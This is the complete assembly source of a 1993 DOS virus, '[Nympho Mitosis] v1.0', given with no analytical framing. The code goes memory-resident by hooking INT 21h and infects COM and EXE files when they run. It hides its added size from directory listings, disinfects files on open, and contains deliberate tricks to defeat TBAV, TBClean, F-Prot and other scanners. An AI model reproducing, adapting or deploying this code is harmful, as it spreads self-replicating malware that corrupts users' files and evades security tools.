       .model   tiny                                ;_ASSUME CS=DS=ES=SS
       .code                                        ;/
        org     100h                                ;Origin @ 100h (COM File)
                                                    ;
start:                                              ;Marks Start of Source
v_start:                                            ;Marks Start of Virus
        mov     bp,000h  ;<Ä¿ Constantly            ;** Get Rid of TBAV's
delta   equ     $-002h   ;<ÄÙ Changing              ;** Flexible Entry Point
                                                    ;
        push    ds es                               ;Save Segments onto Stack
                                                    ;
        mov     ax,5D3Dh                            ;AX=5D3Dh / CHECKRESIDENT
        int     021h                                ;DOS Services
                                                    ;
        cmp     ax,003Dh                            ;Is the Virus Resident?
        je      restoreCOMEXEfile                   ;Jump if Equal/Zero
                                                    ;
        cwd                                         ;Load Register w/Zero
        mov     ds,dx                               ;DS=>Starting of INT Table
        xchg    di,dx                               ;Load Register w/Zero
                                                    ;
        lds     ax,dword ptr ds:[084h]              ;Load Far Pointer to DS:AX
        mov     word ptr cs:[bp+Int21hOffset],ax    ;Save Interrupt Offset
        mov     word ptr cs:[bp+Int21hSegment],ds   ;Save Interrupt Segment
                                                    ;
        mov     ax,es                               ;ES=PSP=AX
        dec     ax                                  ;Decrement for Last MCB
        mov     ds,ax                               ;AX=Last MCB=DS
                                                    ;
        cmp     byte ptr ds:[di+000h],05Ah          ;Is MCB Last in Chain?
        jne     restoreCOMEXEfile                   ;Jump if Not Equal/Zero
                                                    ;
        mov     byte ptr ds:[di+000h],04Dh          ;Mark MCB as NOT Last
        sub     word ptr ds:[di+003h],(heap_end-v_start+100h+015d)/016d+001h
        sub     word ptr ds:[di+012h],(heap_end-v_start+100h+015d)/016d+001h
                                                    ;
        mov     ax,word ptr ds:[di+012h]            ;AX=Location of Virus MCB
                                                    ;
        mov     ds,ax                               ;DS=Location of Virus MCB
        inc     ax                                  ;Increment for Mem Loc
        mov     es,ax                               ;AX=Memory Location=ES
                                                    ;
        mov     byte ptr ds:[di+000h],05Ah          ;Mark MCB as Last in Chain
        mov     word ptr ds:[di+001h],008h          ;Mark DOS as Owner of MCB
        mov     word ptr ds:[di+003h],(heap_end-v_start+100h+015d)/016d
                                                    ;
        push    cs                                  ;Push Segment onto Stack
        pop     ds                                  ;Restore into DS (CS=DS)
                                                    ;
        cld                                         ;Clear Direction Flag
        mov     di,100h                             ;DI=Location in Memory
        lea     si,[bp+v_start]                     ;SI=Source of Data
        mov     cx,(heap_end-v_start)/002h          ;CX=Number of Bytes
        rep     movsw                               ;Word @ DS:[SI]=>ES:[DI]
                                                    ;
        mov     ds,cx                               ;CX=000h=DS=Int Table
                                                    ;
        cli                                         ;Turn OFF Interrupts
        mov     word ptr ds:[084h],offset Int21Handler
        mov     word ptr ds:[086h],es               ;Location in Memory
        sti                                         ;Turn ON Interrupts
                                                    ;
restoreCOMEXEfile:                                  ;
        pop     es ds                               ;Restore Segments
                                                    ;
        mov     ax,5A4Dh                            ;AX=5A4Dh (MZ)
        lea     si,cs:[bp+host_bytes]               ;SI=Host_Bytes
                                                    ;
        cmp     ax,word ptr cs:[si+000h]            ;Is an EXE Our Host?
        je      restoreEXEfile                      ;Jump if Equal/Zero
                                                    ;
        xchg    ah,al                               ;Exchange Registers (ZM)
                                                    ;
        cmp     ax,word ptr cs:[si+000h]            ;Is an EXE Our Host?
        je      restoreEXEfile                      ;Jump if Equal/Zero
                                                    ;
restoreCOMfile:                                     ;
        mov     di,0FFh                             ;DI=Location in Memory
        inc     di                                  ;Increment for Real Loc
        push    di                                  ;Push DI onto Stack
        mov     byte ptr [di],0C3h                  ;** Here, we screw up
                                                    ;** the file _if_ TBClean
        call    di                                  ;** is being run. 
                                                    ;** Thanks LM!
        movsw                                       ;Word @ DS:[SI]=>ES:[DI]
        movsb                                       ;Byte @ DS:[SI]=>ES:[DI]
                                                    ;
        retn                                        ;Return to Host Program
                                                    ;
restoreEXEfile:                                     ;
        mov     ax,es                               ;ES=PSP=AX
                                                    ;
        add     ax,010h                             ;Skip One Segment for CS
        add     ax,word ptr cs:[si+016h]            ;Calculate Start of Prog
                                                    ;
        push    ax                                  ;Push New CS to Stack
        push    word ptr cs:[si+014h]               ;Push IP to Stack
                                                    ;
        retf                                        ;Return to Host Program
                                                    ;
        db      "[Nympho Mitosis] v1.0",000h        ;Le Nom du Virus
        db      "Copyright (c) 1993 Memory Lapse",000h
                                                    ;
Int21Handler:                                       ;
        cmp     ax,5D3Dh                            ;Is Virus Checking?
        jne     check_execute                       ;Jump if Not Equal/Zero
                                                    ;
        cbw                                         ;Convert AL to AX
                                                    ;
        iret                                        ;Interrupt Return
                                                    ;
check_execute:                                      ;
        cmp     ah,011h                             ;Are We Doing a DIR?
        je      _FCBStealth                         ;Jump if Equal/Zero
                                                    ; (DOS)
        cmp     ah,012h                             ;Are We Doing a DIR?
        je      _FCBStealth                         ;Jump if Equal/Zero
                                                    ; (DOS)
        cmp     ah,04Eh                             ;Are We Doing a DIR?
        je      _DTAStealth                         ;Jump if Equal/Zero
                                                    ; (4DOS)
        cmp     ah,04Fh                             ;Are We Doing a DIR?
        je      _DTAStealth                         ;Jump if Equal/Zero
                                                    ; (4DOS)
        push    ax bx cx dx di si ds es             ;Push Registers onto Stack
                                                    ;
        cmp     ax,6C00h                            ;Are We Extended Opening?
        je      __disinfectCOMEXEfile               ;Jump if Equal/Zero
                                                    ;
        cmp     ah,03Dh                             ;Are We Opening?
        je      _disinfectCOMEXEfile                ;Jump if Equal/Zero
                                                    ;
        dec     ax                                  ;** Get Rid of TBAV's
                                                    ;** Traps Loading of SW. 
        cmp     ax,4AFFh                            ;Are We Executing?
        je      _infectCOMEXEfile                   ;Jump if Equal/Zero
                                                    ;
_Interrupt21h:                                      ;
        pop     es ds si di dx cx bx ax             ;Restore Registers
                                                    ;
Interrupt21h:                                       ;
        db      0EAh,000h,000h,000h,000h            ;JMP FAR PTR SSSS:OOOO
                                                    ;
Int21hOffset    equ     $-004h                      ;Buffer for Int 21 Offset
Int21hSegment   equ     $-002h                      ;Buffer for Int 21 Segment
                                                    ;
_FCBStealth:                                        ;
        jmp     FCBStealth                          ;Unconditional Jump
                                                    ;
_DTAStealth:                                        ;
        jmp     DTAStealth                          ;Unconditional Jump
                                                    ;
_infectCOMEXEfile:                                  ;
        jmp     infectCOMEXEfile                    ;Unconditional Jump
                                                    ;
__disinfectCOMEXEfile:                              ;
        xchg    dx,si                               ;SI=File Name=>DX
                                                    ;
_disinfectCOMEXEfile:                               ;
        jmp     disinfectCOMEXEfile                 ;Unconditional Jump
                                                    ;
FCBStealth:                                         ;
        pushf                                       ;Push Flags to Top of Stck
        push    cs                                  ;Push Segment onto Stack
        call    Interrupt21h                        ;Simulate Interrupt
                                                    ;
        test    al,al                               ;Was There an Error?
        jnz     endFCBstealth                       ;Jump if Not Equal/Zero
                                                    ;
        push    es dx cx bx ax                      ;Push Registers onto Stack
                                                    ;
        mov     ah,051h                             ;AH=51h / GET PSP ADDRESS
        int     021h                                ;DOS Services
                                                    ;
        mov     es,bx                               ;BX=Address=ES
                                                    ;
        cmp     bx,word ptr es:[016h]               ;Is This a Parent PSP?
        jne     restoreFCBregisters                 ;Jump if Not Equal/Zero
                                                    ;
        mov     bx,dx                               ;DX=BX
        mov     al,[bx]                             ;Get First Byte of FCB
                                                    ;
        push    ax                                  ;Save Byte onto Stack
                                                    ;
        mov     ah,02Fh                             ;AH=2Fh / GET DTA ADDRESS
        int     021h                                ;DOS Services
                                                    ;
        pop     ax                                  ;Restore AX
                                                    ;
        inc     al                                  ;Is This an Extended FCB?
        jnz     checkFCBinfected                    ;Jump if Not Equal/Zero
                                                    ;
        add     bx,007h                             ;Convert to Normal FCB
                                                    ;
checkFCBinfected:                                   ;
        mov     cx,word ptr es:[bx+017h]            ;CX=Time
        mov     dx,word ptr es:[bx+019h]            ;DX=Date
                                                    ;
        and     cx,01Fh                             ;Unmask Seconds Field
        and     dx,01Fh                             ;Unmask Day Field
                                                    ;
        xor     cx,dx                               ;Are They the Same?
        jnz     restoreFCBregisters                 ;Jump if Not Equal/Zero
                                                    ;
        sub     word ptr es:[bx+01Dh],(v_end-v_start);Subtract Virus Length
        sbb     word ptr es:[bx+01Fh],000h          ;Subtract if Borrow
                                                    ;
restoreFCBregisters:                                ;
        pop     ax bx cx dx es                      ;Restore Registers
                                                    ;
endFCBstealth:                                      ;
        iret                                        ;Interrupt Return
                                                    ;
DTAStealth:                                         ;
        pushf                                       ;Push Flags to Top of Stck
        push    cs                                  ;Push Segment onto Stack
        call    Interrupt21h                        ;Simulate Interrupt
                                                    ;
        jc      endDTAstealth                       ;Jump if Carry Flag Set
                                                    ;
        push    es dx cx bx ax                      ;Save Registers onto Stack
                                                    ;
        mov     ah,02Fh                             ;AH=2Fh / GET PSP ADDRESS
        int     021h                                ;DOS Services
                                                    ;
        mov     cx,word ptr es:[bx+016h]            ;CX=Time
        mov     dx,word ptr es:[bx+018h]            ;DX=Date
                                                    ;
        and     cx,01Fh                             ;Unmask Seconds Field
        and     dx,01Fh                             ;Unmask Day Field
                                                    ;
        xor     cx,dx                               ;Are They the Same?
        jnz     restoreDTAregisters                 ;Jump if Not Equal/Zero    
                                                    ;
        sub     word ptr es:[bx+01Ah],(v_end-v_start);Subtract Virus Size
        sbb     word ptr es:[bx+01Ch],000h          ;Subtract if Borrow
                                                    ;
restoreDTAregisters:                                ;
        pop     ax bx cx dx es                      ;Restore Registers
                                                    ;
endDTAstealth:                                      ;
        retf    002h                                ;Return Far (POP 2 WORDS)
                                                    ;
disinfectCOMEXEfile:                                ;
        call    OpenAndGetSFT                       ;Call Procedure
                                                    ;
        mov     cx,word ptr es:[di+00Dh]            ;CX=Time
        mov     dx,word ptr es:[di+00Fh]            ;DX=Date
                                                    ;
        and     cx,01Fh                             ;Unmask Seconds Field
        and     dx,01Fh                             ;Unmask Day Field
                                                    ;
        xor     cx,dx                               ;Are They the Same?
        jnz     disinfect_close                     ;Jump if Not Equal/Zero
                                                    ;
        call    LSeek                               ;Move File Pointer to End
                                                    ;
        xchg    cx,dx                               ;Exchange Register Values
        xchg    dx,ax                               ;Exchange Register Values
                                                    ;
        push    dx cx                               ;Save File Size to Stack
                                                    ;
        sub     dx,018h                             ;Subtract 18 for Host_Byte
        sbb     cx,000h                             ;Subtract if Borrow
                                                    ;
        mov     word ptr es:[di+015h],dx            ;Move File Pointer to 
        mov     word ptr es:[di+017h],cx            ;Starting of Host_Bytes
                                                    ;
        mov     dx,offset temp_buffer               ;DX=Buffer for Data
        mov     cx,018h                             ;CX=Number of Bytes
        mov     ah,03Fh                             ;AH=3Fh / READ
        int     021h                                ;DOS Services
                                                    ;
        mov     word ptr es:[di+015h],000h          ;Move File Pointer to 
        mov     word ptr es:[di+017h],000h          ;Starting of File (SFT)
                                                    ;
        mov     ah,040h                             ;AH=40h / WRITE
        int     021h                                ;DOS Services    
                                                    ;
        pop     cx dx                               ;Restore File Size
                                                    ;
        sub     dx,(v_end-v_start)                  ;Subtract Virus Size
        sbb     cx,000h                             ;Subtract if Borrow
                                                    ;
        mov     word ptr es:[di+015h],dx            ;Move File Pointer to 
        mov     word ptr es:[di+017h],cx            ;Starting of Virus
                                                    ;
        sub     cx,cx                               ;Load Register w/Zero
        mov     ah,040h                             ;AH=40h / WRITE
        int     021h                                ;DOS Services
                                                    ;
        mov     cx,word ptr es:[di+00Dh]            ;CX=Time
        and     cl,0E0h                             ;Unmask Seconds Field
        or      cl,008h                             ;Set Seconds to 016d
        mov     dx,word ptr es:[di+00Fh]            ;DX=Date
                                                    ;
        jmp     preCLOSECOMEXEfile                  ;Unconditional Jump
                                                    ;
disinfect_close:                                    ;
        jmp     closeCOMEXEfile                     ;Unconditional Jump
                                                    ;
infectCOMEXEfile:                                   ;
        call    OpenAndGetSFT                       ;Call Procedure
                                                    ;
        mov     cx,word ptr es:[di+00Dh]            ;CX=Time
        mov     dx,word ptr es:[di+00Fh]            ;DX=Date
                                                    ;
        and     cx,01Fh                             ;Unmask Seconds Field
        and     dx,01Fh                             ;Unmask Day Field
                                                    ;
        xor     cx,dx                               ;Are They the Same?
        jz      _closeCOMEXEfile                    ;Jump if Equal/Zero
                                                    ;
        cmp     word ptr es:[di+020h],'BT'          ;Could It Be ThunderByte?
        je      _closeCOMEXEfile                    ;Jump if Equal/Zero
                                                    ;
        cmp     word ptr es:[di+020h],'-F'          ;Could it Be F-Prot?
        je      _closeCOMEXEfile                    ;Jump if Equal/Zero
                                                    ;
        cmp     word ptr es:[di+020h],'CS'          ;Could it Be ViruScan?
        je      _closeCOMEXEfile                    ;Jump if Equal/Zero
                                                    ;
        cmp     word ptr es:[di+020h],'LC'          ;Could it Be Clean?
        je      _closeCOMEXEfile                    ;Jump if Equal/Zero
                                                    ;
        mov     dx,offset host_bytes                ;DX=Buffer for Data
        mov     cx,018h                             ;CX=Number of Bytes
        mov     ah,03Fh                             ;AH=3Fh / READ
        int     021h                                ;DOS Services
                                                    ;
        mov     word ptr es:[di+015h],000h          ;Move File Pointer to
        mov     word ptr es:[di+017h],000h          ;Starting of File (SFT)
                                                    ;
        mov     si,offset temp_buffer               ;SI=Temp_buffer
                                                    ;
        mov     ax,4D5Ah                            ;** Get Rid of TBAV's
                                                    ;** EXE/COM Determination
        cmp     ax,word ptr [host_bytes+000h]       ;Is This an EXE File?
        je      infectEXEfile                       ;Jump if Equal/Zero
                                                    ;
        xchg    ah,al                               ;Exchange Registers (MZ)
                                                    ;
        cmp     ax,word ptr [host_bytes+000h]       ;Is This an EXE File?
        je      infectEXEfile                       ;Jump if Equal/Zero
                                                    ;
infectCOMfile:                                      ;
        call    LSeek                               ;Move File Pointer to End
                                                    ;
        mov     word ptr [delta],ax                 ;Write New Delta Offset
                                                    ;
        sub     ax,003h                             ;Subtract 03 for JMP Loc
        mov     byte ptr [si+000h],0E9h             ;Write JMP to Buffer
        mov     word ptr [si+001h],ax               ;Write JMP Loc to Buffer
                                                    ;
        mov     cx,003h                             ;CX=Number of Bytes
        push    cx                                  ;Push Register onto Stack
                                                    ;
        jmp     continueCOMEXEinfect                ;Unconditional Jump
                                                    ;
_closeCOMEXEfile:                                   ;
        jmp     closeCOMEXEfile                     ;Unconditional Jump
                                                    ;
infectEXEfile:                                      ;
        mov     dx,si                               ;DX=Buffer for Data
        push    cx                                  ;CX=Number of Bytes
        mov     ah,03Fh                             ;AH=3Fh / READ
        int     021h                                ;DOS Services
                                                    ;
        call    LSeek                               ;Move File Pointer to End
                                                    ;
        push    dx ax                               ;Push File Size onto Stack
                                                    ;
        add     ax,(v_end-v_start)                  ;Add Virus Size to Low Bit
        adc     dx,000h                             ;Add if Carry to High Bit
                                                    ;
        mov     cx,200h                             ;CX=Number to Divide By
        div     cx                                  ;Divide AX by CX
                                                    ;
        or      dx,dx                               ;Do We Need to Round Up?
        je      no_burp                             ;Jump if Equal/Zero
                                                    ;
        inc     ax                                  ;Increment AX
                                                    ;
no_burp:                                            ;
        mov     word ptr [si+004h],ax               ;New Length of File ö 512
        mov     word ptr [si+002h],dx               ;New # of Bytes in Last Pg
                                                    ;
        pop     ax dx                               ;Restore File Size
                                                    ;
        mov     cx,010h                             ;CX=Number to Divide By
        div     cx                                  ;Divide AX by CX
                                                    ;
        sub     ax,word ptr [si+008h]               ;Subtact Header Size
                                                    ;
        mov     word ptr [si+016h],ax               ;CS=Segment of Virus
        mov     word ptr [si+014h],dx               ;IP=Location of Virus
                                                    ;
        sub     dx,100h                             ;Subtract 100h for Offset
        mov     word ptr [delta],dx                 ;Write New Delta Offset
                                                    ;
continueCOMEXEinfect:                               ;
        mov     dx,offset v_start                   ;DX=Location of Data
        mov     cx,(v_end-v_start)                  ;CX=Number of Bytes
        mov     ah,040h                             ;AH=40h / WRITE
        int     021h                                ;DOS Services
                                                    ;
        mov     word ptr es:[di+015h],000h          ;Move File Pointer to 
        mov     word ptr es:[di+017h],000h          ;Starting of File (SFT)
                                                    ;
        xchg    dx,si                               ;DX=Location of Data
        pop     cx                                  ;CX=Number of Bytes
        mov     ah,040h                             ;AH=40h / WRITE
        int     021h                                ;DOS Services
                                                    ;
        mov     cx,word ptr es:[di+00Dh]            ;CX=Time
        mov     dx,word ptr es:[di+00Fh]            ;DX=Date
                                                    ;
        push    dx                                  ;Push Date Stamp to Stack
                                                    ;
        and     cx,-020h                            ;Reset Seconds
        and     dx,01Fh                             ;Unmask Day Field
                                                    ;
        or      cx,dx                               ;Move Day into Seconds
                                                    ;
        pop     dx                                  ;Restore Date
                                                    ;
preCLOSECOMEXEfile:                                 ;
        mov     ax,5701h                            ;AX=5701h / SET T/D STAMPS
        int     021h                                ;DOS Services
                                                    ;
closeCOMEXEfile:                                    ;
        mov     ah,03Eh                             ;AH=3Eh / CLOSE File
        int     021h                                ;DOS Services
                                                    ;
        jmp     _Interrupt21h                       ;Unconditional Jump
                                                    ;
OpenAndGetSFT:                                      ;
        mov     ax,3D00h                            ;AX=3D00h / OPEN R/O
        pushf                                       ;Push Flags to Top of Stck
        push    cs                                  ;Push Segment to Stack
        call    Interrupt21h                        ;Simulate Interrupt
                                                    ;
        xchg    ax,bx                               ;Move File Handle to BX
                                                    ;
        push    bx cs cs                            ;Push Registers to Stack
        pop     es ds                               ;Equal Out Segments
                                                    ;
        mov     ax,1220h                            ;AX=1220h / GET JFT
        int     02Fh                                ;Multiplex Interrupt
                                                    ;
        mov     ax,1216h                            ;AX=1216h / GET SFT
        mov     bl,byte ptr es:[di]                 ;Move Byte into BL
        int     02Fh                                ;Multiplex Interrupt
                                                    ;
        pop     bx                                  ;Restore File Handle
                                                    ;
        mov     word ptr es:[di+002h],002h          ;Open in Read/Write Mode
                                                    ;
        retn                                        ;Return to Point of Call
                                                    ;
LSeek:  push    ds                                  ;Push Segment onto Stack                  
                                                    ;
        lds     ax,dword ptr es:[di+011h]           ;Load Far Pointer to DS:AX
        mov     word ptr es:[di+015h],ax            ;Move File Pointer to 
        mov     word ptr es:[di+017h],ds            ;End of File.  (SFT)
        mov     dx,ds                               ;Move High Bit to DX
                                                    ;
        pop     ds                                  ;Restore Segment to DS
                                                    ;
        retn                                        ;Return to Point of Call
                                                    ;
host_bytes      dw      020CDh     ;First 3 for COM ;Marks Host as an EXE
                dw      002h                        ;# of Bytes @ Last Page
                dw      004h                        ;# of Pages + Header Size
                dw      006h                        ;# of Relocatable Entries
                dw      008h                        ;Size of Header (Paras)
                dw      00Ah                        ;Min. Memory Required
                dw      00Ch                        ;Max. Memory Wanted
                dw      00Eh                        ;SS Value at Entry
                dw      010h                        ;SP Value at Entry
                dw      012h                        ;Negative Checksum
                dw      014h                        ;IP Value at Entry
                dw      016h                        ;CS Value at Entry
                                                    ;
v_end:                                              ;Marks End of Virus
heap_start:                                         ;Marks Start of Heap
                                                    ;
temp_buffer     db      018h dup (?)                ;Multipurpose Buffer
                                                    ;
heap_end:                                           ;Marks End of Heap
                                                    ;
end     start                                       ;Marks End of Source
